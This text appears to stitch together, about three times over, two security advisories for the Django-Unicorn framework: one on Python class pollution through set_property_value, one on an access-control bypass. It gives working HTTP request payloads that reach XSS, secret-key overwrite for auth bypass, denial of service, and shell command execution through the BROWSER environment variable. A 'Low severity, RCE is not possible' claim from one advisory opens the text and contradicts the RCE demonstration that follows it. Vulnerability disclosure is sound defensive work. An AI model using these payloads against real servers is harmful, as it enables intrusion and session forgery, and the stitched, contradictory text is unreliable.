Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.
